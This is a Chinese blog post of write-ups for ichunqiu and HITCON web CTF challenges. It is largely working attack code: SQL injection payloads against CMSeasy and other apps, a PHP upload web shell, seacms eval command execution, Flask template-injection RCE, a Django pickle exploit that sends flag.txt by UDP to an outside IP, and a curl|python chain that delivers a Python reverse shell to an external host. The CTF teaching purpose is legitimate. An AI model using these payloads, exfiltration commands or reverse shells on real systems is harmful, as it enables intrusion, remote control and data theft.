ichunqiu writeup

爆破-1

题目提示:flag就在某六位变量中。

代码如下

1
2
3
4
5
6
7
8
9
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

php中有一个超全局变量$GLOBALS,包含了全部变量的数组,键为变量名,值为变量值。直接覆盖即可

1559617216851

爆破-2

题目内容:flag不在变量中。

代码如下

1
2
3
4
5
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

直接读文件即可

?hello=file_get_contents(%27flag.php%27)

然后查看源码就可以得到flag

爆破-3

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}

if($_SESSION['nums']>=10){
echo $flag;
}

show_source(__FILE__);
?>

可以用数组绕过md5的比较,剩下的就是写脚本访问了

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://8d545ea73d3f4a2785de36c85dfebe31af87ac8dbe1b4c8b.changame.ichunqiu.com//?value[]=%s"
s = requests.session()
whoami = "ea"
for i in range(10):
newurl = url%whoami
result = s.get(newurl).text
whoami = result[0:2]
if "flag{" in result:
print(result)
break

1559619103440

Upload

先随便上传一个php,发现过滤了<?

1559743455260

考虑用另一种方法绕过

1
<script language="phP">echo `$_REQUEST[v]`;</script>

然后直接看flag就可以了

1559743746995

1559743769496

code

首先查看源码,发现是base64图片,url格式有点意思,尝试直接文件包含,得到了源码

index.php?jpg=index.php

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
* Can you find the flag file?
*
*/

?>

有提示是用phpstorm构建的,尝试访问一下配置文件

/.idea/workspace.xml

找到了我们想要的文件

1559636909908

由于上边有过滤,可以用config来代替_,

/index.php?jpg=fl3gconfigichuqiu.php

得到源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

function encrypt($txt,$key){
// 循环加密
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4); //生成四位随机字符
$key=md5($rnd.$key); //加密所采用的密钥是随机数和key拼接后的md5值
$s=0;
// 使用密钥循环异或
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4); //解密用的随机字符和加密时一样
$txt = substr($txt,4);
$key=md5($rnd.$key); //解密的密钥也是随机数和key拼接后的md5值

$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>

分析一下加密函数,具体步骤我已经写在了源码里,这里出现的问题是,虽然不知道key,但是加解密采用相同key,而且是按位异或,所以我们很容易就可以得到key的前五位,只需要爆破第六位就可以了

破解代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
function findkey(){
$txt='guest';
$result='dmMwZkFOChlL';
$tmp = '';
$key = '';
$result = base64_decode($result);
$rnd = substr($result, 0, 4);
$result = substr($result, 4);
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
for ($i=0;$i<strlen($txt);$i++){
$key .= $txt[$i] ^ $result[$i];
}
echo "key: " . $key;
echo "\n";
echo "rnd: " . $rnd;
echo "\n";
return array($key, $rnd);
}
function encrypt($key, $rnd){
$chars= '0123456789abcdef'; //md5的字符集
$file = fopen("encrypt.txt", "w");
$txt = 'system';
$tmp = '';
// 循环加密
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
// 循环异或
for ($n=0;$n<strlen($chars); $n++){
$keytest = $key . $chars[$n];
$ttmp = '';
for($i=0;$i<strlen($txt);$i++){
$ttmp .= $txt[$i] ^ $keytest[$i];
}
fwrite($file, base64_encode($rnd.$ttmp)."\n");
}
}

$value = findkey();
encrypt($value[0], $value[1]);
?>

1559639716673

YeserCMS

进去先扫一下cms指纹

1559736324794

得知是cmseasy,先搜一波现成的洞,发现有一个sql注入

注入原理:

1
/parse_str()的作用是解析字符串并且把字符串注册成变量,第二个参数$arr是一个数组,parse_str()之前会先urldecode,也就是会二次url解码,实现单引号逃逸

/celive/live/header.php

xajax=Postdata&xajaxargs[0]=detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529–%2520

大概原理就是这样,但是这道题除了注入点一样之外和这个洞基本没关系,具体payload在下边,

// 库名

xajax=Postdata&xajaxargs[0]=detail=xxxxxx’,(UpdateXML(1,CONCAT(0x5b,mid((SELECT database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)–

1559740129223

// 表名

xajax=Postdata&xajaxargs[0]=detail=xxxxxx’,(UpdateXML(1,CONCAT(0x5b,mid((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)–

1559740252651

然而这里显示的不全了,可以改,1,32),0x5d)中1的值,接着往后读,最后得到有用的表名为yesercms_user

//列名

xajax=Postdata&xajaxargs[0]=detail=xxxxxx’,(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name=’yesercms_user’),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)–

1559740489843

最后注账号密码就完事了

xajax=Postdata&xajaxargs[0]=detail=xxxxxx’,(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,’|’,password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)–

1559740608336

这里也是不全的,按照上面的方法读全后md5去somd5解一下就可以

1559740688798

得到账号密码admin|Yeser231,登录后发现新世界,直接访问/admin就可以进入后台

在这里卡了很久,一些后台getshell的方法也没打出来,就放弃了getshell,那么该怎么读取flag呢,发现在当前模板编辑那里,点击编辑会显示出文件内容

1559741840336

抓个包看一下

1559741758915

直接改看一看能不能读文件,发现可以读,然后尝试读flag,最后payload如下

1559741967106

XSS平台

看这个url,根据下边的tornado推测这个可能是个python写的网站,为了证实这个推测,用burp抓个包改一下参数,可以看到报错信息

1560826197206

发现确实如此,rtiny很可疑,谷歌搜一下,发现在github上有一个项目,进去直接审源码

index.py里有一个"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="

/rtiny/lock.py里直接拼接了参数,存在sql注入

1560827084203

所以现在需要的就是在cookie的username字段中注入,而这里是secure_cookie,是密文传输的,我们需要自己根据上边的cookie_secret去生成,具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import tornado.ioloop
import tornado.web

settings = {
"cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
def get(self):
#self.set_secure_cookie("username", "' and updatexml(1,concat(0x3a,(select database()),0x3a),1);#") #xss
#self.set_secure_cookie("username", "' and updatexml(1,concat(0x3a,mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,64),0x3a),1);#") #host,manager,module,msglog,project
#self.set_secure_cookie("username", "' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='manager'),0x3a),1);#") #username,password,email
#self.set_secure_cookie("username", "' and updatexml(1,concat(0x3a,(select group_concat(username) from xss.manager),0x3a),1);#") #ichuqiu
#self.set_secure_cookie("username", "' and updatexml(1,concat(0x3a,mid((select group_concat(password) from xss.manager),32,64),0x3a),1);#") #Myxss623
self.set_secure_cookie("username", "' and updatexml(1,concat(0x3a,(select group_concat(email) from xss.manager),0x3a),1);#") # 545
#self.set_secure_cookie("username", "' and 1=2 union select extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),1,40)));#") #flag{73602e42-4953-4e4e-a53d-9e7cb28c93ae}

def make_app():
return tornado.web.Application([
(r"/index", MainHandler),
], **settings)

if __name__ == "__main__":
app = make_app()
app.listen('1234')
tornado.ioloop.IOLoop.instance().start()

然后带着生成的cookie去访问lock.py就可以报错注入了

1560833750774

最后得到账号ichuqiu,密码Myxss623

登录后发现flag文件

1560834192048

然后用刚才的方法报错注入读文件即可,注意一次只能读32位,所以要分两次读

再见CMS

先扫一下路径

1560048636789

发现有flag.php

然后识别一下cms

1560048872032

之后就是找洞去打了,可以搜到一个在改用户信息的地方的sql注入漏洞,所以先注册个账号,然后打就完事了

url:/member/userinfo.php?job=edit&step=2

POST:old_password=123456&truename=xxxx%0000&Limitword[000]=&[email protected]&provinceid=,address=(select user()) where uid=3%23

其中old_password是你的密码,email是注册的邮箱

成功打到了user

1560051445075

然后可以去尝试读取刚才发现的flag.php

address=(load_file(‘/var/www/html/flag.php’))

然而这样会显示数据库连接出错,是因为引号被转义了,可以考虑转成16进制绕过

address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870))

然后在个人信息处查看源码就可以得到flag

1560051400725

SQL

这题脑洞真的大,fuzz也没测出来,<>绕过我也是不知道为什么

知道怎么绕过之后这题简直就是白给,直接打一发就完事了

// 位置

index.php?id=1 union sel<>ect 1,2,3

// 表名

index.php?id=1 union sel<>ect 1,(sel<>ect group_concat(table_name) from information_schema.tables where table_schema=database()),3

// 列名

index.php?id=1 union sel<>ect 1,(sel<>ect group_concat(column_name) from information_schema.columns where table_name=’info’),3

//flag

index.php?id=1 union se<>lect 1,(sel<>ect group_concat(flAg_T5ZNdrm) from info),3

SQLi

点进去会有个跳转,抓个包看一看,发现与一个隐藏的文件

1560166612254

访问一下,在头部有一个有趣的东西

1560166667454

进去看看,根据题目应该就是sql注入了

1560166741773

关键词fuzz测一波,发现逗号被过滤了,可以采取一下方法绕过

union select * from (select 1) a join (select 2) b

测试一下,成功绕过

1560168023532

剩下的就是常规sql注入了,最后得到flag的payload如下

1560168192979

123

test

进去一看,seacms,直接搜洞就完事了,海洋cms 命令执行漏洞

payload如下

/search.php?searchtype=5&tid=&area=eval%28$_POST[cmd]%29

直接蚁剑连接一下,找一找配置文件

1560169554207

然后连接数据库

1560169618225

发现flag就躺在里边

1560169656962

login

首先看一下源码,发现有点东西

1560925275403

然后尝试用test1登录,成功

1560925401933

show很显眼,抓包看一下,改完得到了源码

1560925559214

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}

function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}

if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}

?>

很简单的反序列化,payload如下

1
2
3
4
5
6
<?php
$a = ['user' => 'ichunqiu'];
$b = base64_encode(gzcompress(serialize($a)));
var_dump($b);
?>
//eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

带进去即可

1560926053176

登陆

git中与缓存相关的就是stash,我们进入下载下来的网站目录,再进入.git目录,再进入refs目录,之后cat stash:得到一个commit

img

到刚才的目录下使用命令git reset --hard bee231dcc3e136cf01d4b0a075765a9490ecfa87,就恢复了flag文件

1557632999375

访问就可以了

gift

Django 泄露key导致反序列化命令执行

利用脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding: utf-8
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY='[email protected]^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci')


class GetShellWithPython(object):
def __reduce__(self):
import subprocess
return (subprocess.call,
(['python','-c',
'import socket,os;'
'c=os.popen("cat flag.txt").read().strip();'
's=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);'
's.sendto(c,("144.202.82.213",8080));'],))


sess = signing.dumps(
obj=GetShellWithPython(),
serializer=PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies'
)
print sess

此处是建立UDP连接,python TCP和UDP连接的socket代码如下

1
2
3
4
5
#TCP
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

解释

socket 类型 描述
socket.AF_UNIX 本机通信
socket.AF_INET 服务器间通信
socket.AF_INET6 IPV6进行服务器间通信
socket.SOCK_STREAM 基于TCP的流式通信
socket.SOCK_DGRAM 基于UDP的数据报式通信
socket.SOCK_RAW 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以
socket.SOCK_SEQPACKET 可靠的连续数据包服务

常用socket函数

socket 函数 描述
s.recv(bufsize[, flag]) 接受TCP套接字的数据,数据以字符串形式返回,bufsize指定要接受的最大数据量
s.send(string[, flag]) 发送TCP数据,将字符串中的数据发送到链接的套接字
s.sendall(string[, flag]) 完整发送TCP数据,将字符串中的数据发送到链接的套接字
s.recvfrom(bufsize[, flag]) 接受UDP套接字的数据u,与recv()类似,但返回值是tuple(data, address)
s.sendto(string[, flag], address) 发送UDP数据,将数据发送到套接字,address形式为tuple(ipaddr, port)
s.close() 关闭套接字

最终flag为

1557804173167

Try

尝试发现sql注入

有user和token两个表,token表是空的

user表里有三列username,password,level

username 里有member,guest

password里是$6$rounds=66$nHxhhCl/k9nL5Df47FWdXFZIjRgzV2gXmVdHybywlQ3RIQ/2FvUM/L1y3mgnUBRvJNw9I0Qc5uRbc6EUwxB87/

payload为level.php?name=%27union%20select%20token%20from%20token%20%23

未完

Fuzzing

进去一片空白,抓个包看一下,有一个hint,hint: ip,Large internal network

谷歌搜一哈,内部私有地址,A类是10.0.0.0,所以加一个client-ip: 10.0.0.1即可,这里每一个请求都要带上这个,很烦

发现跳转到/m4nage.php,有一个show me your key

POST请求发一哈,然后返回了一个md5,搜一下,解出来ichunqiu105,提交过去返回下一关,看源码给了个解密函数,本地php直接跑就行了

虽然题目叫fuzzing,但是感觉并没有什么fuzzing的点,很没意思

Fuzz

先用burpsuite的server-side variable name字典跑一下参数,得到name

随便输点什么,发现会直接回显出来

尝试python的模板注入payload有反应

1557988009867

直接掏出祖传payload测一下

利用思路:利用file类向tmp目录下写入py文件,然后再对其编译,加载到config变量中,check_output是python带的一个可以命令执行的函数

1
?name={{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
1
?name={{config.from_pyfile('/tmp/owned.cfg')}}
1
?name={{config['RUNCMD']('/usr/bin/id',shell =True)}}

成功执行

1557988486057

发现没有过滤find命令,直接找flag

find /var/www/

1557988581982

在读文件的时候遇到了问题,发现fl4g被直接过滤了,但是可以通过编码绕过,先将读取的python代码写到tmp目录下再执行即可

1
print open('/var/www/html/fl4g','r').read()

payload

1
?name={{config['RUNCMD']('echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py',shell=True)}}

运行即可

1
?name={{config['RUNCMD']('python /tmp/get.py',shell=True)}}

1557988948649

blog

首先注册一个账号,进去发现有写文章的地方,尝试上传文件,发现返回了一个错误

1558313699881

我们可以知道使用了kindeditor,搜一下这个东西的漏洞

发现存在文件上传和路径遍历漏洞,首先排除文件上传,因为这里上传直接404了,试一下路径遍历的payload

kindeditor/php/file_manager_json.php?path=../../../../../var/www/html/

发现爆出了路径

1558314294910

1558316943952

这个漏洞的利用目前已经结束了,换个方向

blog有写文章的功能,推测是将文章插入数据库中,插入语句应该类似

1
insert into table('A','B','C') values('A','B','C')

尝试闭合一下

1558315951433

发现成功闭合

而insert是可以插入两条语句的,所以我们可以在闭合了前一条后接着插入第二条数据,经过尝试,发现确实可以

1558316015415

所以开始sql注入,也没发现什么过滤,具体操作看之前的sql注入命令备忘,这里直接得到了结果

1558316437041

解出管理员的密码,melody123

登陆后发现新的功能,管理文章

blog_manage/manager.php?module=article_manage&name=php

这个module很熟悉,刚才在读文件的时候,发现有aritcle_manage.php 推测文件包含,试一下payload

php://filter/read=convert.base64-encode/resource=../flag

发现成功回显,base64解一下就得到了flag

1558317088591

blog 进阶

同blog一样,通过注入得到admin的密码,密码是19-10-1997

登陆进去,发现伪协议用不了了,这里学了一个操作,自包含

当PHP使用POST方法上传文件时,会在/tmp/下生成临时文件

文件被上传后,默认地会被储存到服务端的默认临时目录中,除非 php.ini 中的 upload_tmp_dir 设置为其它的路径。服务端的默认临时目录可以通过更改 PHP 运行环境的环境变量 TMPDIR 来重新设置,但是在 PHP 脚本内部通过运行 putenv() 函数来设置是不起作用的。该环境变量也可以用来确认其它的操作也是在上传的文件上进行的

接受上传文件的 PHP 脚本为了决定接下来要对该文件进行哪些操作,应该实现任何逻辑上必要的检查。不管怎样,要么将该文件从临时目录中删除,要么将其移动到其它的地方。

如果表单中没有选择上传的文件,则 PHP 变量 $_FILES['userfile']['size']的值将为 0,$_FILES['userfile']['tmp_name']将为空。

如果该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除

那么这里就有一个攻击思路,在文件被删除之前去包含它

这里的操作就是通过自包含,让程序崩溃,临时文件得以保存

利用代码如下

1
2
3
4
5
6
<body>
<form name="uploadform" method="POST" enctype="multipart/form-data" action="http://eb1b3e576858427984ad8b66cfcf70f905501ae45aaa46b3.changame.ichunqiu.com/blog_manage/manager.php?module=manager&name=php">
uploadfile1:<input type="file" name="file1" size="30" />
<input type="submit" name="submit" value="submit">
</form>
</body>

读源码的文件

1
2
3
<?php
show_source('/var/www/html/flag.php');
?>

这个时候去查看tmp路径下的文件

kindeditor/php/file_manager_json.php?path=../../../../../tmp/

发现成功上传

1558319631304

包含一下

/blog_manage/manager.php?module=../../../../tmp/phpwShwBa&name=php

居然没有回显,推测可能是禁了php,将name=php改成name=txt发现就可以回显了,很迷

最终得到flag,然而辣鸡i春秋这题的提交崩了,点开就重新刷新,也没交上

1558320121820

babyfirst-revenge v1

hitcon的神仙题,不得不说,做这种题真的长见识

题目源码很简单,就是5个字符的命令执行

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这里有几个点,首先是ls -t,按照修改时间顺序排列,我们可以通过写入多个文件,来拼接命令,然后把ls结果输出到文件,再使用sh来执行文件,例如

1558604764959

第二个问题就是,如何getshell,写一个是不显示的,这点在之前博客里已经写过了,我们可以通过curl命令来获取一个shell,index.php如下,虽然是个php,但实际上是python文件,ps:这里懒了直接偷的py反弹shell的脚本

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("144.202.82.213",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

最终解题脚本如下(改的官方exp),要注意不能以.开头,ls列不出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# curl 60.205.218.9:2031|python
'>on',
'>th\\',
'>py\\',
'>1\|\\',
'>03\\',
'>:2\\',
'>9\\',
'>8.\\',
'>21\\',
'>5.\\',
'>20\\',
'>0.\\',
'>6\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://117.50.3.97:8001/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://117.50.3.97:8001/?cmd=' + quote(i) )
print i
sleep(0.2)

在服务器上就可以收到弹来的shell,最终flag在mysql里

1558605180682

SQLi 迎圣诞

有一个登录框,随便测一下,发现有username errorpassword error 两种不同的回显,推测很有可能是布尔盲注,fuzz一下过滤了什么,发现这个报错很有意思

1560934742848

由此可以确定这道题的漏洞就在sprintf格式化字符串漏洞

首先了解一下sprintf

1560935544725

如果 % 符号多于 arg 参数,则必须使用占位符。占位符位于 % 符号之后,由数字和 “$“ 组成

而在php的源码中,只匹配了15种类型,其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:

没做字符类型检测的最大危害就是它可以吃掉一个转义符, 如果%后面出现一个,那么php会把\当作一个格式化字符的类型而吃掉, 最后%\(或%1$\)被替换为空

因此sprintf注入,或者说php格式化字符串注入的原理为:

要明白%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。

所以这里推测后端代码大致顺序应该如下所示

1
2
3
4
5
6
7
8
<?php
$a='\\\'';
$p="admin%1$\' or 1=1 #";
$input = addslashes($p); //先对我们的输入进行addslashes操作,此时\和'都被添加了\
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b ", 'admin' ); // 之后进行sprintf操作
var_dump($b);
var_dump($sql);

以上代码执行的结果如下

1560950350997

可以看到 \\\' 变成了\\' 成功逃逸出一个单引号与之前闭合

当逃逸出单引号之后这道题就变成了比较常规的布尔盲注了

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import string

url = "http://b47297251f7540ae9c5676dc7d05a2b48d324114972e446c.changame.ichunqiu.com/index.php"

temp = ''
for i in range(1,64):
print("round:"+str(i))
low = 0
high = 126
while(low<=high):
mid = (low+high)/2
table = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #flag
column = "select group_concat(column_name) from information_schema.columns where table_name=0x666c6167" #flag,为了避免单引号,这里采用16进制编码
flag = "select group_concat(flag) from ctf.flag"
payload = "admin%1$\\' or (ascii(substr(("+flag+"),"+str(i)+",1)))>"+str(mid)+"#" #flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}
data = {'username':payload,'password':'aa'}
result = requests.post(url, data=data)
#print(result.text)
if ("password error" in result.text):
low = mid+1
else:
high = mid-1

temp = temp + chr(int(round((low+high+1)/2)))
print(temp.ljust(50, '*'))

hello world

flag{82efc37f1cd5d4636ea7cadcd5a814a2}

0%